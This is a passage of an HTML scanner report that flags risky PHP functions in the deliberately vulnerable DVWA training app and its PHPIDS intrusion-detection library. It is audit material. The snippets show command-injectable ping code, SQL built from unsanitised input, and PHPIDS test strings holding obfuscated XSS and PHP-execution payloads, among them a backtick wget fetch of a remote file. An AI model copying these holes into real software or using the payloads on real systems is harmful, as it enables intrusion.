NT')) { 22- 23: $cmd = <span class='match_highlight'>shell_exec(</span> 'ping ' . $target ); 24- $html .= '<pre>'.$cmd.'</pre>'; 25- 26- } else { 27- 28: $cmd = <span class='match_highlight'>shell_exec(</span> 'ping -c 3 ' . $target ); 29- $html .= '<pre>'.$cmd.'</pre>'; 30- 31- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/exec/source/medium.php</span>:<span class='line_number'>18</span> <span class='match_count'>(3/3)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>15- // Determine OS and execute the ping command. 16- if (stristr(php_uname('s'), 'Windows NT')) { 17- 18: $cmd = <span class='match_highlight'>shell_exec(</span> 'ping ' . $target ); 19- $html .= '<pre>'.$cmd.'</pre>'; 20- 21- } else { 22- 23: $cmd = <span class='match_highlight'>shell_exec(</span> 'ping -c 3 ' . $target ); 24- $html .= '<pre>'.$cmd.'</pre>'; 25- 26- }</code></pre> </div> </div> </div> </div> <div class='signature_effefd84af1fbffd8d8e4d5349961cb6 signature_group_dangerous_functions signature_group'> <a name='s-effefd84af1fbffd8d8e4d5349961cb6'></a> <h3> <code>system(</code> <span class='signature_count'>(1)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","effefd84af1fbffd8d8e4d5349961cb6")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1021</span> <span class='match_count'>(1/1)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1019- define ( _a, "0008avwga000934mm40re8n5n3aahgqvaga0a303") ; 1020- if ( !0) $c = USXWATKXACICMVYEIkw71cLTLnHZHXOTAYADOCXC ^ _a; 1021: if ( !0) <span class='match_highlight'>system(</span>$c) ;//'; 1022- $exploits[] = '" ; // 1023- if (!0) $_a ="". str_rot13(\'cevags\'); // 1024- $_b = HTTP_USER_AGENT; //</code></pre> </div> </div> </div> </div> <div class='signature_86750fb6d14ec15d645cdd28433a184c signature_group_dangerous_functions signature_group'> <a name='s-86750fb6d14ec15d645cdd28433a184c'></a> <h3> <code>unserialize(</code> <span class='signature_count'>(6)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","86750fb6d14ec15d645cdd28433a184c")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/File.php</span>:<span class='line_number'>169</span> <span class='match_count'>(1/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>167- if (file_exists($this->path) && (time()-filectime($this->path)) < 168- $this->config['expiration_time']) { 169: $data = <span class='match_highlight'>unserialize(</span>file_get_contents($this->path)); 170- return $data; 171- } 172-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>192</span> <span class='match_count'>(2/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>189- $result->execute(array($this->type)); 190- 191- foreach ($result as $row) { 192: return <span class='match_highlight'>unserialize(</span>$row['data']); 193- } 194- 195- } catch (PDOException $e) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/DefinitionCache/Serializer.php</span>:<span class='line_number'>33</span> <span class='match_count'>(3/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>30- public function get($config) { 31- $file = $this->generateFilePath($config); 32- if (!file_exists($file)) return false; 33: return <span class='match_highlight'>unserialize(</span>file_get_contents($file)); 34- } 35- 36- public function remove($config) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema.php</span>:<span class='line_number'>54</span> <span class='match_count'>(4/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>51- * Unserializes the default ConfigSchema. 52- */ 53- public static function makeFromSerial() { 54: return <span class='match_highlight'>unserialize(</span>file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema.ser')); 55- } 56- 57- /**</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/EntityLookup.php</span>:<span class='line_number'>23</span> <span class='match_count'>(5/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- if (!$file) { 21- $file = HTMLPURIFIER_PREFIX . '/HTMLPurifier/EntityLookup/entities.ser'; 22- } 23: $this->table = <span class='match_highlight'>unserialize(</span>file_get_contents($file)); 24- } 25- 26- /**</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Converter.php</span>:<span class='line_number'>632</span> <span class='match_count'>(6/6)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>629- $threshold = 3.49; 630- $unserialized = false; 631- if(preg_match('/^\w:\d+:\{/', $value)) { 632: $unserialized = @<span class='match_highlight'>unserialize(</span>$value); 633- } 634- 635- if (strlen($value) > 25 && !$unserialized) {</code></pre> </div> </div> </div> </div> <div class='signature_833344d5e1432da82ef02e1301477ce8 signature_group_dangerous_functions signature_group'> <a name='s-833344d5e1432da82ef02e1301477ce8'></a> <h3> <code>`</code> <span class='signature_count'>(17)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","833344d5e1432da82ef02e1301477ce8")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./login.php</span>:<span class='line_number'>23</span> <span class='match_count'>(1/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>21- $pass = md5( $pass ); 22- 23: $qry = "SELECT * FROM <span class='match_highlight'>`</span>users<span class='match_highlight'>`</span> WHERE user='$user' AND password='$pass';"; 24- 25- $result = @mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); 26-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/low.php</span>:<span class='line_number'>14</span> <span class='match_count'>(2/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11- $pass_new = mysql_real_escape_string($pass_new); 12- $pass_new = md5($pass_new); 13- 14: $insert="UPDATE <span class='match_highlight'>`</span>users<span class='match_highlight'>`</span> SET password = '$pass_new' WHERE user = 'admin';"; 15- $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); 16- 17- $html .= "<pre> Password Changed </pre>";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/high.php</span>:<span class='line_number'>16</span> <span class='match_count'>(3/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- $pass_curr = md5( $pass_curr ); 14- 15- // Check that the current password is correct 16: $qry = "SELECT password FROM <span class='match_highlight'>`</span>users<span class='match_highlight'>`</span> WHERE user='admin' AND password='$pass_curr';"; 17- $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); 18- 19- if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){ 20- $pass_new = mysql_real_escape_string($pass_new); 21- $pass_new = md5($pass_new); 22- 23: $insert="UPDATE <span class='match_highlight'>`</span>users<span class='match_highlight'>`</span> SET password = '$pass_new' WHERE user = 'admin';"; 24- $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); 25- 26- $html .= "<pre> Password Changed </pre>";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/medium.php</span>:<span class='line_number'>16</span> <span class='match_count'>(4/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- $pass_new = mysql_real_escape_string($pass_new); 14- $pass_new = md5($pass_new); 15- 16: $insert="UPDATE <span class='match_highlight'>`</span>users<span class='match_highlight'>`</span> SET password = '$pass_new' WHERE user = 'admin';"; 17- $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' ); 18- 19- $html .= "<pre> Password Changed </pre>";</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/low.php</span>:<span class='line_number'>10</span> <span class='match_count'>(5/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- $pass = $_GET['password']; 8- $pass = md5($pass); 9- 10: $qry = "SELECT * FROM <span class='match_highlight'>`</span>users<span class='match_highlight'>`</span> WHERE user='$user' AND password='$pass';"; 11- $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' ); 12- 13- if( $result && mysql_num_rows( $result ) == 1 ) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/high.php</span>:<span class='line_number'>16</span> <span class='match_count'>(6/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>13- $pass = mysql_real_escape_string( $pass ); 14- $pass = md5( $pass ); 15- 16: $qry = "SELECT * FROM <span class='match_highlight'>`</span>users<span class='match_highlight'>`</span> WHERE user='$user' AND password='$pass';"; 17- $result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' ); 18- 19- if( $result && mysql_num_rows( $result ) == 1 ) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/brute/source/medium.php</span>:<span class='line_number'>14</span> <span class='match_count'>(7/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>11- $pass = mysql_real_escape_string( $pass ); 12- $pass = md5( $pass ); 13- 14: $qry = "SELECT * FROM <span class='match_highlight'>`</span>users<span class='match_highlight'>`</span> WHERE user='$user' AND password='$pass';"; 15- $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' ); 16- 17- if( $result && mysql_num_rows($result) == 1 ) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1026</span> <span class='match_count'>(8/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1023- if (!0) $_a ="". str_rot13(\'cevags\'); // 1024- $_b = HTTP_USER_AGENT; // 1025- $_c="". $_SERVER[$_b]; // 1026: $_a( <span class='match_highlight'>`</span>$_c<span class='match_highlight'>`</span> );//'; 1027- $exploits[] = '"; // 1028- $_c = "" . $_a($b); 1029: $_b(<span class='match_highlight'>`</span>$_c<span class='match_highlight'>`</span>);//'; 1030- $exploits[] = '" ; // 1031- if (!0) $_a = base64_decode ; 1032- if (!0) $_b = parse_str ; //</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1038</span> <span class='match_count'>(9/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1035- $_e= "" . $_SERVER[$_d]; 1036- $_b($_e); // 1037- $_f = "" . $_a($b); 1038: $_c(<span class='match_highlight'>`</span>$_f<span class='match_highlight'>`</span>);//'; 1039- $exploits[] = '" ; // 1040- $_y = "" . strrev("ftnirp"); 1041- if (!0) $_a = base64_decode ; 1042- if (!0) $_b="" . $_a(\'cHdk\'); 1043: if (!0) $_y(<span class='match_highlight'>`</span>$_b<span class='match_highlight'>`</span>);//'; 1044- $exploits[] = '";{ if (true) $_a = "" . str_replace(\'!\',\'\',\'s!y!s!t!e!m!\'); 1045- $_a( "dir"); } //'; 1046- $exploits[] = '";{ if (true) $_a = "" . strtolower("pass");</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>1056</span> <span class='match_count'>(10/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1053- $exploits[] = '";; // 1054- if (!($_b[] %1)) $_a[0] = system; 1055- $_a[0](!a. "ls"); //'; 1056: $exploits[] = '; e|$a=&$_GET; 0|$b=!a .$a[b];$a[a](<span class='match_highlight'>`</span>$b<span class='match_highlight'>`</span>);//'; 1057: $exploits[] = 'aaaa { $ {<span class='match_highlight'>`</span>wget hxxp://example.com/x.php<span class='match_highlight'>`</span>}}'; 1058- 1059- $this->_testForPlainEvent($exploits); 1060-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>42</span> <span class='match_count'>(11/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>39- 40- #create the database 41- 42: CREATE DATABASE IF NOT EXISTS <span class='match_highlight'>`</span>phpids<span class='match_highlight'>`</span> DEFAULT CHARACTER 43- SET utf8 COLLATE utf8_general_ci; 44: DROP TABLE IF EXISTS <span class='match_highlight'>`</span>cache<span class='match_highlight'>`</span>; 45- 46- #now select the created datbase and create the table 47- 48: CREATE TABLE <span class='match_highlight'>`</span>cache<span class='match_highlight'>`</span> ( 49: <span class='match_highlight'>`</span>type<span class='match_highlight'>`</span> VARCHAR( 32 ) NOT null , 50: <span class='match_highlight'>`</span>data<span class='match_highlight'>`</span> TEXT NOT null , 51: <span class='match_highlight'>`</span>created<span class='match_highlight'>`</span> DATETIME NOT null , 52: <span class='match_highlight'>`</span>modified<span class='match_highlight'>`</span> DATETIME NOT null 53- ) ENGINE = MYISAM ; 54- */ 55-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>151</span> <span class='match_count'>(12/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>148- 149- $handle = $this->handle; 150- 151: $rows = $handle->query('SELECT created FROM <span class='match_highlight'>`</span>' . 152: $handle->quote($this->config['table']).'<span class='match_highlight'>`</span>'); 153- 154- if (!$rows || $rows->rowCount() === 0) { 155-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>251</span> <span class='match_count'>(13/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>248- $handle->query('TRUNCATE ' . 249- $this->config['table'].''); 250- $statement = $handle->prepare(' 251: INSERT INTO <span class='match_highlight'>`</span>' . 252: $this->config['table'].'<span class='match_highlight'>`</span> ( 253- type, 254- data, 255- created,</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Converter.php</span>:<span class='line_number'>261</span> <span class='match_count'>(14/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>258- public static function convertQuotes($value) 259- { 260- // normalize different quotes to " 261: $pattern = array('\'', '<span class='match_highlight'>`</span>', '´', '’', '‘'); 262- $value = str_replace($pattern, '"', $value); 263- 264- return $value;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Converter.php</span>:<span class='line_number'>496</span> <span class='match_count'>(15/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>493- '+ACU-' => '%', 494- '+ACQ-' => '$', 495- '+AD0-' => '=', 496: '+AGA-' => '<span class='match_highlight'>`</span>', 497- '+ALQ-' => '"', 498- '+IBg-' => '"', 499- '+IBk-' => '"',</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>39</span> <span class='match_count'>(16/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>36-/* 37- * Needed SQL: 38- * 39: CREATE DATABASE IF NOT EXISTS <span class='match_highlight'>`</span>phpids<span class='match_highlight'>`</span> DEFAULT CHARACTER 40- SET utf8 COLLATE utf8_general_ci; 41: DROP TABLE IF EXISTS <span class='match_highlight'>`</span>intrusions<span class='match_highlight'>`</span>; 42: CREATE TABLE IF NOT EXISTS <span class='match_highlight'>`</span>intrusions<span class='match_highlight'>`</span> ( 43: <span class='match_highlight'>`</span>id<span class='match_highlight'>`</span> int(11) unsigned NOT null auto_increment, 44: <span class='match_highlight'>`</span>name<span class='match_highlight'>`</span> varchar(128) NOT null, 45: <span class='match_highlight'>`</span>value<span class='match_highlight'>`</span> text NOT null, 46: <span class='match_highlight'>`</span>page<span class='match_highlight'>`</span> varchar(255) NOT null, 47: <span class='match_highlight'>`</span>ip<span class='match_highlight'>`</span> varchar(15) NOT null, 48: <span class='match_highlight'>`</span>impact<span class='match_highlight'>`</span> int(11) unsigned NOT null, 49: <span class='match_highlight'>`</span>origin<span class='match_highlight'>`</span> varchar(15) NOT null, 50: <span class='match_highlight'>`</span>created<span class='match_highlight'>`</span> datetime NOT null, 51: PRIMARY KEY (<span class='match_highlight'>`</span>id<span class='match_highlight'>`</span>) 52- ) ENGINE=MyISAM ; 53- * 54- *</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>21</span> <span class='match_count'>(17/17)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>18- } 19- 20- function db_login( $user,$pass ) { 21: $login = "SELECT * FROM <span class='match_highlight'>`</span>users<span class='match_highlight'>`</span> WHERE user='$user' AND password='$pass';"; 22- 23- $result = @mysql_query($login) or die('<pre>' . mysql_error() . '</pre>' ); 24-</code></pre> </div> </div> </div> </div> <div class='signature_84afe5f7623c288a0ca27b00a1abf74e signature_group_payload_obfuscators signature_group'> <a name='s-84afe5f7623c288a0ca27b00a1abf74e'></a> <h3> <code>base64_decode(</code> <span class='signature_count'>(1)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","84afe5f7623c288a0ca27b00a1abf74e")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Converter.php</span>:<span class='line_number'>384</span> <span class='match_count'>(1/1)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>382- foreach ($matches[1] as $item) { 383- if (isset($item) && !preg_match('/[a-f0-9]{32}/i', $item)) { 384: $value = str_replace($item, <span class='match_highlight'>base64_decode(</span>$item), $value); 385- } 386- } 387-</code></pre> </div> </div> </div> </div> <div class='signature_cd91a147cc9a80526763ed2d294616e1 signature_group_payload_obfuscators signature_group'> <a name='s-cd91a147cc9a80526763ed2d294616e1'></a> <h3> <code>\$\$</code> <span class='signature_count'>(4)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","cd91a147cc9a80526763ed2d294616e1")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>250</span> <span class='match_count'>(1/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>248- {};; 249- {v =(0)?z:z}v={_$:z+'aler'+z}; 250: {k =(0)?z:z}k={_$$:v._$+'t(x)'+z}; 251- x=''+y.y+'l';{}; 252- 253- n=.1[x]; 254: n(k._$$)"; 255- $exploits[] = "ä=/ä/!=/ä/?'': 0;b=(ä+'eva'+ä);b=(b+'l'+ä);d=(ä+'XSS'+ä);c=(ä+'aler'+ä);c=(c+'t(d)'+ä);$=.0[b];a=$;a(c)"; 256- $exploits[] = 'x=/x/ 257- $x=!!1?\'ash\':xx</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>375</span> <span class='match_count'>(2/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>372- $a=$a=$b'; 373- $exploits[] = "123[''+<_>ev</_>+<_>al</_>](''+<_>aler</_>+<_>t</_>+<_>(1)</_>);"; 374- $exploits[] = '$_ = !1-1 ? 0["\ev\al""]("\a\l\ert\(1\)"") : 0'; 375: $exploits[] = "$$$[0] = !1-1 ? 'eva' : 0 376- 377: $$$[1] = !1-1 ? 'l' : 0 378- 379: $$$['\jo\in']([])"; 380- $exploits[] = 'x=/eva/i[-1] 381- $y=/nam/i[-1] 382- $x$_0=(0)[x+\'l\']</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>565</span> <span class='match_count'>(3/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>562- $exploits[] = 'eval.call(this,unescape.call(this,location))'; 563- $exploits[] = 'd=0||\'une\'+\'scape\'||0;a=0||\'ev\'+\'al\'||0;b=0||\'locatio\';b+=0||\'n\'||0;c=b[a];d=c(d);c(d(c(b)))'; 564- $exploits[] = '_=eval,__=unescape,___=document.URL,_(__(___))'; 565: $exploits[] = '$=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($))'; 566- $exploits[] = '$_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__)'; 567- $exploits[] = 'ev\al.call(this,unescape.call(this,location))'; 568- $exploits[] = 'setTimeout//</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ChildDef/Table.php</span>:<span class='line_number'>66</span> <span class='match_count'>(4/4)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>63- case 'tfoot': 64- // access the appropriate variable, $thead or $tfoot 65- $var = $collection[$tag_index]->name; 66: if ($$var === false) { 67: $$var = $collection; 68- } else { 69- // transmutate the first and less entries into 70- // tbody tags, and then put into content</code></pre> </div> </div> </div> </div> <div class='signature_36873191febbfe6c4cfb7d60d8aedfc0 signature_group_form_data signature_group'> <a name='s-36873191febbfe6c4cfb7d60d8aedfc0'></a> <h3> <code>$_GET</code> <span class='signature_count'>(29)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","36873191febbfe6c4cfb7d60d8aedfc0")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./instructions.php</span>:<span class='line_number'>19</span> <span class='match_count'>(1/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>17-); 18- 19:$selectedDocId = isset( <span class='match_highlight'>$_GET</span>[ 'doc' ] ) ? <span class='match_highlight'>$_GET</span>[ 'doc' ] : ''; 20-if( !array_key_exists( $selectedDocId, $docs ) ) { 21- $selectedDocId = 'readme'; 22-}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./security.php</span>:<span class='line_number'>31</span> <span class='match_count'>(2/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>28-} 29- 30- 31:if( isset( <span class='match_highlight'>$_GET</span>['phpids'] ) ) { 32: switch( <span class='match_highlight'>$_GET</span>[ 'phpids' ] ) { 33- case 'on': 34- dvwaPhpIdsEnabledSet( true ); 35- dvwaMessagePush( "PHPIDS is now enabled" );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/low.php</span>:<span class='line_number'>3</span> <span class='match_count'>(3/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3: if (isset(<span class='match_highlight'>$_GET</span>['Change'])) { 4- 5- // Turn requests into variables 6: $pass_new = <span class='match_highlight'>$_GET</span>['password_new']; 7: $pass_conf = <span class='match_highlight'>$_GET</span>['password_conf']; 8- 9- 10- if (($pass_new == $pass_conf)){</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/high.php</span>:<span class='line_number'>3</span> <span class='match_count'>(4/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3: if (isset(<span class='match_highlight'>$_GET</span>['Change'])) { 4- 5- // Turn requests into variables 6: $pass_curr = <span class='match_highlight'>$_GET</span>['password_current']; 7: $pass_new = <span class='match_highlight'>$_GET</span>['password_new']; 8: $pass_conf = <span class='match_highlight'>$_GET</span>['password_conf']; 9- 10- // Sanitise current password input 11- $pass_curr = stripslashes( $pass_curr );</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/csrf/source/medium.php</span>:<span class='line_number'>3</span> <span class='match_count'>(5/29)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3: if (isset(<span class='match_highlight'>$_GET</span>['Change'])) { 